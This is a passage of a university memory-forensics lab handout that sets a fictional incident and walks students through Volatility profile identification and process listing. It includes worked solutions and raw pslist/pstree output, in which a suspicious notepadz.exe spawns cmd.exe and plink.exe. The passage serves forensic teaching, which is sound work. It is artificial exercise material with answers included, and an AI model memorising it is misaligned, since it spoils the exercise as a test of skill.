ZEIT8028: Digital Forensics

Lab 5: Memory Forensics

Background

It's Monday morning and the results of your network analysis have successfully been consumed and actioned by the customer.

The customer's SOC performed an initial investigation and successfully located the compromised host. The host was contained and reimaged, but not before a complete memory dump was acquired, as dictated by their standard operating procedures. Unfortunately, the customer's SOC did not have the required expertise to analyse the memory image, so the customer's board decided that an external specialist would need to be procured.

The customer's board is eager to know exactly what happened and they want to know before the commencement of the annual shareholders meeting next week. The board is nervous of the incident going public, which they all know is inevitable.

The customer wants you to answer the following questions in a written report:

1. How was the computer compromised?
2. What was the extent of the compromise?
3. Was anything taken?
4. What remediation advice can you provide?

Evidence

For this lab, you've been provided with one (1) raw memory image (you'll find it in the `Lab 5 - Memory Forensics.7z` lab bundle), which is all the evidence you require to complete your investigation.

Before you start the first exercise, verify that your evidence is not corrupt. This ensures that you don't waste your time and effort troubleshooting data that is not working as expected.

The pertinent evidence metadata is as follows:

```
FILE:   memory.dmp
SIZE:   5,368,717,312 bytes
SHA1:   feec750bd520b3979b0ac693a467e4e645aa6413
MD5:    bfd2cfdea988c46386c0238ff0485400
```

Things to Remember

During your investigation, remember to take lots of notes and document everything that you find. Doing so will make your life significantly easier as you start to bring together your smaller analytical discoveries into a larger picture and will prevent you from questioning or repeating analysis. Most importantly, doing so will make your task of compiling the final report much easier.

Tool of Choice

To successfully complete this investigation, you'll predominantly be using `volatility`. `volatility` is a cohesive framework that analyses memory dumps from 32- and 64-bit Windows, Linux, Mac, and Android systems. The framework is many things: open-source; written in Python; operable on Windows, macOS, and Linux; extensible and scriptable; unparalleled in the number of feature sets provided which are based on reverse engineering and specialist research; comprehensively supportive of most memory file formats; fast and efficient; and backed by a large and active community, including both users and contributors.

The official `volatility` wiki has been provided to you, and is located at:

```
PATH: ./doc/volatility.wiki/
```

The specific instance of `volatility` installed in your analysis environment is a fork by Fireeye. Fireeye have kindly added support for decompressing Windows 10 memory pages, which will make your analysis significantly easier.

Both `Volatility 2` (Fireeye) and `Volatility 3` have been installed on the VM. `Volatility 2` is no longer being developed, so in the real world you'll most likely use version 3. However, version 3 is a complete rewrite of the tool, and not all of the plugins have been ported over yet (and may never be). So, it's useful to understand how to use both to get the most investigative value. The labs for this course will use `Volatility 2` as it's simpler and easier to use. Feel free to attempt the labs with `Volatility 3` in addition; you might uncover additional evidence of malicious activity.

Exercise 1:

Preparation

Your first exercise is to prepare your evidence for analysis.

You must determine what kind of data has been given to you by the acquisition team. You suspect it's a memory image, but what kind of memory image is it?

Using `volatility`, determine the type of memory image you've been given. It's important to select the correct operating system profile, or you may run into issues during your analysis.

> ▼ **Hint**
>
> Initially, you want to use the `imageinfo` command, although this may give you ambiguous results.
>
> **NB: You may also receive an error at this stage: vol2.py -f memory.dmp --profile=Win10x64_17763 pslist. This won't be an issue once you specify the profile later in the lab.**

```
analyst@forensics~: vol2.py imageinfo -f memory.dmp
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on
KDBG search...
          Suggested Profile(s) : Win10x64_17134,
Win10x64_10240_17770, Win10x64_10586, Win10x64_14393,
Win10x64, Win2016x64_14393, Win10x64_16299, Win10x64_17763,
Win10x64_15063 (Instantiated with Win10x64_15063)
                     AS Layer1 :
SkipDuplicatesAMD64PagedMemory (Kernel AS)
                     AS Layer2 : WindowsCrashDumpSpace64
(Unnamed AS)
                     AS Layer3 : FileAddressSpace
(/mnt/external/analyst/Lab 5 - Memory Forensics/memory.dmp)
                      PAE type : No PAE
                           DTB : 0x1ad002L
                          KDBG : 0xf8067bea55e0L
          Number of Processors : 2
     Image Type (Service Pack) : 0
                KPCR for CPU 0 : 0xfffff8067aeec000L
```

```
              KPCR for CPU 1 : 0xffff89809f420000L
           KUSER_SHARED_DATA : 0xfffff78000000000L
         Image date and time : 2019-07-13 15:29:09 UTC+0000
   Image local date and time : 2019-07-13 15:29:09 +0000
```

▼ **Hint**

Once you've selected a candidate profile you should perform an additional verification step by using the `kdbgscan` command.

```
analyst@forensics~: vol2.py -f memory.dmp kdbgscan
**************************************************
Instantiating KDBG using: Kernel AS Win10x64 (6.4.9841 64bit)
Offset (V)                    : 0xf8067bea55e0
Offset (P)                    : 0x1ea55e0
KdCopyDataBlock (V)           : 0xf8067bd2cd68
Block encoded                 : No
Wait never                    : 0x6374c2003c046f78
Wait always                   : 0x7808e1376e99800
KDBG owner tag check          : True
Profile suggestion (KDBGHeader): Win10x64
Version64                     : 0xf8067bea8dc0 (Major: 15,
Minor: 17763)
Service Pack (CmNtCSDVersion) : 0
Build string (NtBuildLab)     :
17763.1.amd64fre.rs5_release.180
PsActiveProcessHead           : 0xfffff8067beb5680 (145
processes)
PsLoadedModuleList            : 0xfffff8067bec1a10 (158
modules)
KernelBase                    : 0xfffff8067baa2000 (Matches
MZ: True)
Major (OptionalHeader)        : 10
Minor (OptionalHeader)        : 0
KPCR                          : 0xfffff8067aeec000 (CPU 0)
KPCR                          : 0xffff89809f420000 (CPU 1)
...
```

Of interest, the `kdbgscan` command is designed to positively identify the correct profile and the correct KDBG address. A KDBG structure is a Windows kernel structure used for debugging and contains system information including a headless system build string and service pack information. Inspecting these values will enable you to select the correct profile.

> You can view all the supported profiles in your instance of volatility by running:
>
> ```
> analyst@forensics~$ vol2.py --info
> Volatility Foundation Volatility Framework 2.6.1
>
> Profiles
> --------
> VistaSP0x64           - A Profile for Windows Vista SP0 x64
> VistaSP0x86           - A Profile for Windows Vista SP0 x86
> VistaSP1x64           - A Profile for Windows Vista SP1 x64
> VistaSP1x86           - A Profile for Windows Vista SP1 x86
> VistaSP2x64           - A Profile for Windows Vista SP2 x64
> VistaSP2x86           - A Profile for Windows Vista SP2 x86
> Win10x64              - A Profile for Windows 10 x64
> ...
> ```

> ▼ **Solution**
>
> Based on the `kdbgscan` output, the profile is likely *Win10x64_17763*. This profile is evident in every kdbgscan output.

Document all your findings.

Exercise 2: Finding the Malicious Process

Now that you've determined the correct `volatility` profile to use, it's time to start your analysis.

a) Inspect all the processes that were running at the time the memory image was captured using the `pslist` command.

▼ **Solution**

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 pslist
Volatility Foundation Volatility Framework 2.6.1
Offset(V)          Name                    PID   PPID   Thds
Hnds   Sess  Wow64 Start                          Exit
------------------ ------------------- ------ ------ ------
-------- ------ ------ ------------------------------
------------------------------
0xffff9b01d206b040 System                    4      0    115
0 ------      0 2019-07-13 14:44:28 UTC+0000
0xffff9b01d2081080 Registry                 88      4      4
0 ------      0 2019-07-13 14:44:20 UTC+0000
0xffff9b01d2bba040 smss.exe                276      4      2
0 ------      0 2019-07-13 14:44:28 UTC+0000
0xffff9b01d2fe4140 csrss.exe               388    380     10
0      0      0 2019-07-13 14:44:30 UTC+0000
0xffff9b01d569a080 wininit.exe             468    380      1
0      0      0 2019-07-13 14:44:31 UTC+0000
0xffff9b01d570f080 services.exe            604    468      9
0      0      0 2019-07-13 14:44:31 UTC+0000
0xffff9b01d571b0c0 lsass.exe               624    468      9
0      0      0 2019-07-13 14:44:31 UTC+0000
0xffff9b01d579d200 svchost.exe             728    604      1
0      0      0 2019-07-13 14:44:33 UTC+0000
0xffff9b01d57a3100 fontdrvhost.ex          736    468      5
0      0      0 2019-07-13 14:44:33 UTC+0000
0xffff9b01d57cc200 svchost.exe             812    604     25
0      0      0 2019-07-13 14:44:33 UTC+0000
0xffff9b01d5e4e280 svchost.exe             860    604     16
0      0      0 2019-07-13 14:44:33 UTC+0000
0xffff9b01d5e6d200 svchost.exe             904    604      5
0      0      0 2019-07-13 14:44:33 UTC+0000
0xffff9b01d5f172c0 svchost.exe             680    604     33
0      0      0 2019-07-13 14:44:34 UTC+0000
0xffff9b01d5f5b2c0 svchost.exe             876    604      3
0      0      0 2019-07-13 14:44:35 UTC+0000
0xffff9b01d5f622c0 svchost.exe            1028    604      5
0      0      0 2019-07-13 14:44:35 UTC+0000
0xffff9b01d5f82240 svchost.exe            1076    604      1
0      0      0 2019-07-13 14:44:35 UTC+0000
```

```
0xffff9b01d5fa0280 svchost.exe            1120    604      2
0      0      0 2019-07-13 14:44:35 UTC+0000
0xffff9b01d5fc82c0 svchost.exe            1212    604      7
0      0      0 2019-07-13 14:44:35 UTC+0000
0xffff9b01d5fd9200 svchost.exe            1220    604     11
0      0      0 2019-07-13 14:44:35 UTC+0000
0xffff9b01d6009200 svchost.exe            1272    604      5
0      0      0 2019-07-13 14:44:35 UTC+0000
0xffff9b01d606e280 svchost.exe            1348    604      4
0      0      0 2019-07-13 14:44:36 UTC+0000
0xffff9b01d6098200 svchost.exe            1404    604      8
0      0      0 2019-07-13 14:44:36 UTC+0000
0xffff9b01d60d32c0 svchost.exe            1432    604      6
0      0      0 2019-07-13 14:44:36 UTC+0000
0xffff9b01d219c080 svchost.exe            1448    604      3
0      0      0 2019-07-13 14:44:36 UTC+0000
0xffff9b01d213e080 vmacthlp.exe           1576    604      1
0      0      0 2019-07-13 14:44:37 UTC+0000
0xffff9b01d20bc080 svchost.exe            1728    604      8
0      0      0 2019-07-13 14:44:37 UTC+0000
0xffff9b01d20ad080 svchost.exe            1744    604      3
0      0      0 2019-07-13 14:44:37 UTC+0000
0xffff9b01d60d7200 svchost.exe            1772    604      3
0      0      0 2019-07-13 14:44:38 UTC+0000
0xffff9b01d60d92c0 svchost.exe            1792    604      5
0      0      0 2019-07-13 14:44:38 UTC+0000
0xffff9b01d6154200 svchost.exe            1804    604      3
0      0      0 2019-07-13 14:44:38 UTC+0000
0xffff9b01d616e2c0 svchost.exe            1836    604      5
0      0      0 2019-07-13 14:44:38 UTC+0000
0xffff9b01d6194040 MemCompression         1900      4     54
0 ------      0 2019-07-13 14:44:38 UTC+0000
0xffff9b01d61bd300 svchost.exe            1940    604      5
0      0      0 2019-07-13 14:44:38 UTC+0000
0xffff9b01d61dd200 svchost.exe            1964    604      3
0      0      0 2019-07-13 14:44:38 UTC+0000
0xffff9b01d6204240 svchost.exe            2012    604      2
0      0      0 2019-07-13 14:44:38 UTC+0000
0xffff9b01d622f2c0 svchost.exe            1532    604     13
0      0      0 2019-07-13 14:44:39 UTC+0000
0xffff9b01d6236200 svchost.exe            1640    604      5
0      0      0 2019-07-13 14:44:39 UTC+0000
0xffff9b01d62582c0 svchost.exe            1752    604     10
0      0      0 2019-07-13 14:44:39 UTC+0000
0xffff9b01d62d82c0 svchost.exe            2208    604     11
0      0      0 2019-07-13 14:44:39 UTC+0000
0xffff9b01d62db2c0 svchost.exe            2216    604      5
0      0      0 2019-07-13 14:44:39 UTC+0000
0xffff9b01d62e70c0 svchost.exe            2224    604      4
0      0      0 2019-07-13 14:44:39 UTC+0000
```

```
0xffff9b01d6349200 svchost.exe            2348    604      5
0      0      0 2019-07-13 14:44:39 UTC+0000
0xffff9b01d63a81c0 spoolsv.exe            2456    604      9
0      0      0 2019-07-13 14:44:40 UTC+0000
0xffff9b01d63b32c0 svchost.exe            2496    604      5
0      0      0 2019-07-13 14:44:40 UTC+0000
0xffff9b01d63ee2c0 svchost.exe            2588    604     12
0      0      0 2019-07-13 14:44:40 UTC+0000
0xffff9b01d6479200 svchost.exe            2800    604      9
0      0      0 2019-07-13 14:44:41 UTC+0000
0xffff9b01d64e4240 svchost.exe            2924    604      3
0      0      0 2019-07-13 14:44:41 UTC+0000
0xffff9b01d6504200 svchost.exe            2944    604      7
0      0      0 2019-07-13 14:44:41 UTC+0000
0xffff9b01d65af280 svchost.exe            3100    604     12
0      0      0 2019-07-13 14:44:42 UTC+0000
0xffff9b01d65e82c0 svchost.exe            3180    604      7
0      0      0 2019-07-13 14:44:43 UTC+0000
0xffff9b01d66070c0 svchost.exe            3188    604     11
0      0      0 2019-07-13 14:44:43 UTC+0000
0xffff9b01d660e2c0 svchost.exe            3200    604     15
0      0      0 2019-07-13 14:44:43 UTC+0000
0xffff9b01d6612200 svchost.exe            3212    604     25
0      0      0 2019-07-13 14:44:43 UTC+0000
0xffff9b01d6623200 svchost.exe            3224    604      6
0      0      0 2019-07-13 14:44:43 UTC+0000
0xffff9b01d665b200 sshd.exe               3316    604      2
0      0      0 2019-07-13 14:44:43 UTC+0000
0xffff9b01d6674240 svchost.exe            3336    604      3
0      0      0 2019-07-13 14:44:43 UTC+0000
0xffff9b01d66792c0 VGAuthService.         3352    604      2
0      0      0 2019-07-13 14:44:43 UTC+0000
0xffff9b01d667d080 vmtoolsd.exe           3368    604     10
0      0      0 2019-07-13 14:44:43 UTC+0000
0xffff9b01d66a6200 wlms.exe               3388    604      2
0      0      0 2019-07-13 14:44:43 UTC+0000
0xffff9b01d66d6200 svchost.exe            3444    604      7
0      0      0 2019-07-13 14:44:43 UTC+0000
0xffff9b01d6724200 svchost.exe            3516    604      5
0      0      0 2019-07-13 14:44:44 UTC+0000
0xffff9b01d677e2c0 svchost.exe            3616    604      2
0      0      0 2019-07-13 14:44:44 UTC+0000
0xffff9b01d69c3240 dllhost.exe            3244    604     12
0      0      0 2019-07-13 14:44:47 UTC+0000
0xffff9b01d6a0f2c0 svchost.exe            4108    604      3
0      0      0 2019-07-13 14:44:47 UTC+0000
0xffff9b01d22de240 WmiPrvSE.exe           4304    812     11
0      0      0 2019-07-13 14:44:48 UTC+0000
0xffff9b01d64b30c0 msdtc.exe              4624    604      9
0      0      0 2019-07-13 14:44:54 UTC+0000
```

```
0xffff9b01d66fb080 svchost.exe            4968    604      2
0      0      0 2019-07-13 14:44:56 UTC+0000
0xffff9b01d6c20240 svchost.exe            4996    604      7
0      0      0 2019-07-13 14:44:56 UTC+0000
0xffff9b01d6f16540 MicrosoftEdge.         5416    812      0
--------      1      0 2019-07-13 14:45:01 UTC+0000
2019-07-13 15:03:56 UTC+0000
0xffff9b01d73222c0 svchost.exe            6192    604     10
0      0      0 2019-07-13 14:45:07 UTC+0000
0xffff9b01d734c200 SearchIndexer.         6240    604     19
0      0      0 2019-07-13 14:45:07 UTC+0000
0xffff9b01d70382c0 svchost.exe            6564    604      2
0      0      0 2019-07-13 14:45:10 UTC+0000
0xffff9b01d75a4080 svchost.exe            7136    604     10
0      0      0 2019-07-13 14:45:14 UTC+0000
0xffff9b01d7632240 SecurityHealth         7360    604     13
0      0      0 2019-07-13 14:45:16 UTC+0000
0xffff9b01d7d95280 svchost.exe            6464    604      9
0      0      0 2019-07-13 14:46:45 UTC+0000
0xffff9b01d8155240 svchost.exe            2952    604      1
0      0      0 2019-07-13 14:46:59 UTC+0000
0xffff9b01d81d3340 SgrmBroker.exe         1248    604      5
0      0      0 2019-07-13 14:47:03 UTC+0000
0xffff9b01d8121240 svchost.exe            4044    604      1
0      0      0 2019-07-13 14:47:12 UTC+0000
0xffff9b01d8261200 svchost.exe            1884    604      7
0      0      0 2019-07-13 14:47:21 UTC+0000
0xffff9b01d810a280 svchost.exe            8156    604      5
0      0      0 2019-07-13 14:47:28 UTC+0000
0xffff9b01d83212c0 svchost.exe            3156    604      5
0      0      0 2019-07-13 14:47:30 UTC+0000
0xffff9b01d64b6540 svchost.exe            7760    604      3
0      0      0 2019-07-13 14:48:08 UTC+0000
0xffff9b01d6809080 svchost.exe            9004    604      4
0      0      0 2019-07-13 14:57:29 UTC+0000
0xffff9b01d7dac080 svchost.exe            7672    604      0
--------      0      0 2019-07-13 15:00:12 UTC+0000
2019-07-13 15:00:20 UTC+0000
0xffff9b01d72a6500 svchost.exe            5836    604      1
0      0      0 2019-07-13 15:00:22 UTC+0000
0xffff9b01d7bb2540 notepadz.exe           8816    604      0
--------      0      0 2019-07-13 15:02:06 UTC+0000
2019-07-13 15:02:36 UTC+0000
0xffff9b01d74c8080 cmd.exe                8728   8816      1
0      0      0 2019-07-13 15:02:06 UTC+0000
0xffff9b01d7dcd080 conhost.exe            8960   8728      3
0      0      0 2019-07-13 15:02:06 UTC+0000
0xffff9b01d883c340 csrss.exe              8776   8968     11
0      2      0 2019-07-13 15:03:59 UTC+0000
0xffff9b01d74bb540 winlogon.exe           5312   8968      3
```

```
0      2      0 2019-07-13 15:03:59 UTC+0000
0xffff9b01d7da7540 LogonUI.exe            5284   5312     13
0      2      0 2019-07-13 15:03:59 UTC+0000
0xffff9b01d7685540 fontdrvhost.ex         3964   5312      5
0      2      0 2019-07-13 15:03:59 UTC+0000
0xffff9b01d766e080 dwm.exe                5148   5312     12
0      2      0 2019-07-13 15:03:59 UTC+0000
0xffff9b01d7039080 svchost.exe            5268    604      4
0      0      0 2019-07-13 15:15:08 UTC+0000
0xffff9b01d28b5540 plink.exe              7320   8728      4
0      0      0 2019-07-13 15:19:23 UTC+0000
0xffff9b01d8244080 csrss.exe               232   5428     11
0      3      0 2019-07-13 15:20:06 UTC+0000
0xffff9b01d80eb080 winlogon.exe           5724   5428      3
0      3      0 2019-07-13 15:20:07 UTC+0000
0xffff9b01d218d080 fontdrvhost.ex         4692   5724      5
0      3      0 2019-07-13 15:20:07 UTC+0000
0xffff9b01d7374540 dwm.exe                7288   5724     13
0      3      0 2019-07-13 15:20:07 UTC+0000
0xffff9b01d5eb7080 SearchProtocol         4128   6240      7
0      0      0 2019-07-13 15:22:40 UTC+0000
0xffff9b01d8319540 rdpclip.exe            3564    680      9
0      3      0 2019-07-13 15:22:42 UTC+0000
0xffff9b01d5e9c540 sihost.exe             6260   1404     17
0      3      0 2019-07-13 15:22:42 UTC+0000
0xffff9b01d75dd540 svchost.exe            8524    604     10
0      3      0 2019-07-13 15:22:42 UTC+0000
0xffff9b01d7dc92c0 svchost.exe            4988    604      6
0      3      0 2019-07-13 15:22:43 UTC+0000
0xffff9b01d80c62c0 svchost.exe            8760    604      3
0      0      0 2019-07-13 15:22:43 UTC+0000
0xffff9b01d82992c0 taskhostw.exe           796   1220     11
0      3      0 2019-07-13 15:22:43 UTC+0000
0xffff9b01d6079300 userinit.exe           5100   5724      0
--------      3      0 2019-07-13 15:22:43 UTC+0000
2019-07-13 15:23:18 UTC+0000
0xffff9b01d762c080 explorer.exe           4408   5100     94
0      3      0 2019-07-13 15:22:43 UTC+0000
0xffff9b01d6029080 ctfmon.exe             6640   2924     10
0      3      0 2019-07-13 15:22:43 UTC+0000
0xffff9b01d722e080 svchost.exe            7292    604      5
0      0      0 2019-07-13 15:22:44 UTC+0000
0xffff9b01d7003080 smartscreen.ex         1468    812      8
0      3      0 2019-07-13 15:22:45 UTC+0000
0xffff9b01d6e020c0 svchost.exe            7068    604      7
0      0      0 2019-07-13 15:22:46 UTC+0000
0xffff9b01d72260c0 svchost.exe            7132    604      6
0      3      0 2019-07-13 15:22:53 UTC+0000
0xffff9b01d6027080 ShellExperienc         6816    812     26
0      3      0 2019-07-13 15:23:03 UTC+0000
```

```
0xffff9b01d8157080 SearchUI.exe           4236    812     38
0      3      0 2019-07-13 15:23:03 UTC+0000
0xffff9b01d5fc0080 RuntimeBroker.         1880    812     10
0      3      0 2019-07-13 15:23:03 UTC+0000
0xffff9b01d704b080 RuntimeBroker.         6436    812     12
0      3      0 2019-07-13 15:23:04 UTC+0000
0xffff9b01d7688080 dllhost.exe            8456    812      4
0      3      0 2019-07-13 15:23:11 UTC+0000
0xffff9b01d74f3080 ApplicationFra         7056    812      4
0      3      0 2019-07-13 15:23:11 UTC+0000
0xffff9b01d76c8080 MicrosoftEdge.         3732    812     34
0      3      0 2019-07-13 15:23:11 UTC+0000
0xffff9b01d640a080 Microsoft.Phot         7224    812     17
0      3      0 2019-07-13 15:23:12 UTC+0000
0xffff9b01d759a200 browser_broker         9044    812      3
0      3      0 2019-07-13 15:23:12 UTC+0000
0xffff9b01d81b72c0 svchost.exe            3416    604      3
0      0      0 2019-07-13 15:23:12 UTC+0000
0xffff9b01d6234200 RuntimeBroker.         3928    812      3
0      3      0 2019-07-13 15:23:12 UTC+0000
0xffff9b01d772c080 Windows.WARP.J         4936   3416      3
0      0      0 2019-07-13 15:23:13 UTC+0000
0xffff9b01d78c6480 MicrosoftEdgeS         8636   3928      9
0      3      0 2019-07-13 15:23:14 UTC+0000
0xffff9b01d7b70480 MicrosoftEdgeC         6312    812     15
0      3      0 2019-07-13 15:23:14 UTC+0000
0xffff9b01d8850080 RuntimeBroker.         2040    812      6
0      3      0 2019-07-13 15:23:22 UTC+0000
0xffff9b01d692f080 SecurityHealth         8288   4408      2
0      3      0 2019-07-13 15:23:25 UTC+0000
0xffff9b01d8279080 svchost.exe            4144    604      3
0      0      0 2019-07-13 15:23:26 UTC+0000
0xffff9b01d7183080 vmtoolsd.exe           6824   4408      8
0      3      0 2019-07-13 15:23:26 UTC+0000
0xffff9b01d7457080 audiodg.exe             752   1752      3
0      0      0 2019-07-13 15:23:28 UTC+0000
0xffff9b01d6b64500 svchost.exe            3716    604      5
0      0      0 2019-07-13 15:23:44 UTC+0000
0xffff9b01d6934080 svchost.exe            3008    604      5
0      0      0 2019-07-13 15:23:45 UTC+0000
0xffff9b01d8003080 WindowsInterna         5628    812     23
0      3      0 2019-07-13 15:23:59 UTC+0000
0xffff9b01d5696240 dllhost.exe            4164    812      6
0      3      0 2019-07-13 15:24:09 UTC+0000
0xffff9b01d5f12080 RuntimeBroker.         4788    812      7
0      3      0 2019-07-13 15:24:13 UTC+0000
0xffff9b01d7550080 cmd.exe                4908   4408      1
0      3      0 2019-07-13 15:24:24 UTC+0000
0xffff9b01d73bf080 conhost.exe            2100   4908      4
0      3      0 2019-07-13 15:24:24 UTC+0000
```

```
0xffff9b01d81c1080 svchost.exe            1260    604      3
0      3      0 2019-07-13 15:24:43 UTC+0000
0xffff9b01d6c50540 SearchFilterHo         5868   6240      1
0      0      0 2019-07-13 15:26:48 UTC+0000
0xffff9b01d80c3540 OneDrive.exe           3948   7368     20
0      3      1 2019-07-13 15:26:49 UTC+0000
0xffff9b01d7b4f080 svchost.exe            7444    604     15
0      0      0 2019-07-13 15:27:50 UTC+0000
0xffff9b01d6f0f540 backgroundTask         4748    812     23
0      3      0 2019-07-13 15:29:08 UTC+0000
0xffff9b01d79d9080 RuntimeBroker.         9140    812      7
0      3      0 2019-07-13 15:29:08 UTC+0000
```

If you have prior experience conducting cybersecurity investigations, you should be able to spot the malicious process straight away. If not, don't worry; using your understanding of typical Windows processes and applying deductive analysis, reduce the set of candidate processes until only the malicious process remains.

b) If you find it easier to graphically inspect process ancestry, feel free to use the `pstree` command.

▼ **Solution**

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 pstree
vol2.py -f memory.dmp --profile=Win10x64_17763 pstree
Volatility Foundation Volatility Framework 2.6.1
Name                                                  Pid
PPid   Thds   Hnds Time
-------------------------------------------------- ------
------ ------ ------ ----
 0xffff9b01d2fe4140:csrss.exe                         388
380     10      0 2019-07-13 14:44:30 UTC+0000
 0xffff9b01d569a080:wininit.exe                       468
380      1      0 2019-07-13 14:44:31 UTC+0000
. 0xffff9b01d570f080:services.exe                     604
468      9      0 2019-07-13 14:44:31 UTC+0000
.. 0xffff9b01d5f622c0:svchost.exe                    1028
604      5      0 2019-07-13 14:44:35 UTC+0000
.. 0xffff9b01d6a0f2c0:svchost.exe                    4108
604      3      0 2019-07-13 14:44:47 UTC+0000
.. 0xffff9b01d64b30c0:msdtc.exe                      4624
604      9      0 2019-07-13 14:44:54 UTC+0000
.. 0xffff9b01d81b72c0:svchost.exe                    3416
```

```
604      3      0 2019-07-13 15:23:12 UTC+0000
... 0xffff9b01d772c080:Windows.WARP.J                4936
3416      3      0 2019-07-13 15:23:13 UTC+0000
.. 0xffff9b01d63ee2c0:svchost.exe                    2588
604     12      0 2019-07-13 14:44:40 UTC+0000
.. 0xffff9b01d677e2c0:svchost.exe                    3616
604      2      0 2019-07-13 14:44:44 UTC+0000
.. 0xffff9b01d213e080:vmacthlp.exe                   1576
604      1      0 2019-07-13 14:44:37 UTC+0000
.. 0xffff9b01d5e4e280:svchost.exe                     860
604     16      0 2019-07-13 14:44:33 UTC+0000
.. 0xffff9b01d73222c0:svchost.exe                    6192
604     10      0 2019-07-13 14:45:07 UTC+0000
.. 0xffff9b01d5f82240:svchost.exe                    1076
604      1      0 2019-07-13 14:44:35 UTC+0000
.. 0xffff9b01d80c62c0:svchost.exe                    8760
604      3      0 2019-07-13 15:22:43 UTC+0000
.. 0xffff9b01d5fa0280:svchost.exe                    1120
604      2      0 2019-07-13 14:44:35 UTC+0000
.. 0xffff9b01d6809080:svchost.exe                    9004
604      4      0 2019-07-13 14:57:29 UTC+0000
.. 0xffff9b01d64b6540:svchost.exe                    7760
604      3      0 2019-07-13 14:48:08 UTC+0000
.. 0xffff9b01d83212c0:svchost.exe                    3156
604      5      0 2019-07-13 14:47:30 UTC+0000
.. 0xffff9b01d734c200:SearchIndexer.                 6240
604     19      0 2019-07-13 14:45:07 UTC+0000
... 0xffff9b01d6c50540:SearchFilterHo                5868
6240      1      0 2019-07-13 15:26:48 UTC+0000
... 0xffff9b01d5eb7080:SearchProtocol                4128
6240      7      0 2019-07-13 15:22:40 UTC+0000
.. 0xffff9b01d6236200:svchost.exe                    1640
604      5      0 2019-07-13 14:44:39 UTC+0000
.. 0xffff9b01d65e82c0:svchost.exe                    3180
604      7      0 2019-07-13 14:44:43 UTC+0000
.. 0xffff9b01d7bb2540:notepadz.exe                   8816
604      0 ------ 2019-07-13 15:02:06 UTC+0000
... 0xffff9b01d74c8080:cmd.exe                       8728
8816      1      0 2019-07-13 15:02:06 UTC+0000
.... 0xffff9b01d7dcd080:conhost.exe                  8960
8728      3      0 2019-07-13 15:02:06 UTC+0000
.... 0xffff9b01d28b5540:plink.exe                    7320
8728      4      0 2019-07-13 15:19:23 UTC+0000
.. 0xffff9b01d66070c0:svchost.exe                    3188
604     11      0 2019-07-13 14:44:43 UTC+0000
.. 0xffff9b01d7b4f080:svchost.exe                    7444
604     15      0 2019-07-13 15:27:50 UTC+0000
.. 0xffff9b01d722e080:svchost.exe                    7292
604      5      0 2019-07-13 15:22:44 UTC+0000
.. 0xffff9b01d660e2c0:svchost.exe                    3200
```

```
604     15      0 2019-07-13 14:44:43 UTC+0000
.. 0xffff9b01d20bc080:svchost.exe                    1728
604      8      0 2019-07-13 14:44:37 UTC+0000
.. 0xffff9b01d6b64500:svchost.exe                    3716
604      5      0 2019-07-13 15:23:44 UTC+0000
.. 0xffff9b01d6612200:svchost.exe                    3212
604     25      0 2019-07-13 14:44:43 UTC+0000
.. 0xffff9b01d7039080:svchost.exe                    5268
604      4      0 2019-07-13 15:15:08 UTC+0000
.. 0xffff9b01d6623200:svchost.exe                    3224
604      6      0 2019-07-13 14:44:43 UTC+0000
.. 0xffff9b01d62d82c0:svchost.exe                    2208
604     11      0 2019-07-13 14:44:39 UTC+0000
.. 0xffff9b01d5f172c0:svchost.exe                     680
604     33      0 2019-07-13 14:44:34 UTC+0000
... 0xffff9b01d8319540:rdpclip.exe                   3564
680      9      0 2019-07-13 15:22:42 UTC+0000
.. 0xffff9b01d65af280:svchost.exe                    3100
604     12      0 2019-07-13 14:44:42 UTC+0000
.. 0xffff9b01d69c3240:dllhost.exe                    3244
604     12      0 2019-07-13 14:44:47 UTC+0000
.. 0xffff9b01d62e70c0:svchost.exe                    2224
604      4      0 2019-07-13 14:44:39 UTC+0000
.. 0xffff9b01d5fc82c0:svchost.exe                    1212
604      7      0 2019-07-13 14:44:35 UTC+0000
.. 0xffff9b01d7632240:SecurityHealth                 7360
604     13      0 2019-07-13 14:45:16 UTC+0000
.. 0xffff9b01d5fd9200:svchost.exe                    1220
604     11      0 2019-07-13 14:44:35 UTC+0000
... 0xffff9b01d82992c0:taskhostw.exe                  796
1220     11      0 2019-07-13 15:22:43 UTC+0000
.. 0xffff9b01d5f5b2c0:svchost.exe                     876
604      3      0 2019-07-13 14:44:35 UTC+0000
.. 0xffff9b01d72a6500:svchost.exe                    5836
604      1      0 2019-07-13 15:00:22 UTC+0000
.. 0xffff9b01d20ad080:svchost.exe                    1744
604      3      0 2019-07-13 14:44:37 UTC+0000
.. 0xffff9b01d62582c0:svchost.exe                    1752
604     10      0 2019-07-13 14:44:39 UTC+0000
... 0xffff9b01d7457080:audiodg.exe                    752
1752      3      0 2019-07-13 15:23:28 UTC+0000
.. 0xffff9b01d6934080:svchost.exe                    3008
604      5      0 2019-07-13 15:23:45 UTC+0000
.. 0xffff9b01d60d7200:svchost.exe                    1772
604      3      0 2019-07-13 14:44:38 UTC+0000
.. 0xffff9b01d6479200:svchost.exe                    2800
604      9      0 2019-07-13 14:44:41 UTC+0000
.. 0xffff9b01d665b200:sshd.exe                       3316
604      2      0 2019-07-13 14:44:43 UTC+0000
.. 0xffff9b01d6009200:svchost.exe                    1272
```

```
604      5      0 2019-07-13 14:44:35 UTC+0000
.. 0xffff9b01d60d92c0:svchost.exe                    1792
604      5      0 2019-07-13 14:44:38 UTC+0000
.. 0xffff9b01d6674240:svchost.exe                    3336
604      3      0 2019-07-13 14:44:43 UTC+0000
.. 0xffff9b01d57cc200:svchost.exe                     812
604     25      0 2019-07-13 14:44:33 UTC+0000
... 0xffff9b01d6234200:RuntimeBroker.                3928
812      3      0 2019-07-13 15:23:12 UTC+0000
.... 0xffff9b01d78c6480:MicrosoftEdgeS               8636
3928      9      0 2019-07-13 15:23:14 UTC+0000
... 0xffff9b01d7688080:dllhost.exe                   8456
812      4      0 2019-07-13 15:23:11 UTC+0000
... 0xffff9b01d5696240:dllhost.exe                   4164
812      6      0 2019-07-13 15:24:09 UTC+0000
... 0xffff9b01d7003080:smartscreen.ex                1468
812      8      0 2019-07-13 15:22:45 UTC+0000
... 0xffff9b01d7b70480:MicrosoftEdgeC                6312
812     15      0 2019-07-13 15:23:14 UTC+0000
... 0xffff9b01d5f12080:RuntimeBroker.                4788
812      7      0 2019-07-13 15:24:13 UTC+0000
... 0xffff9b01d22de240:WmiPrvSE.exe                  4304
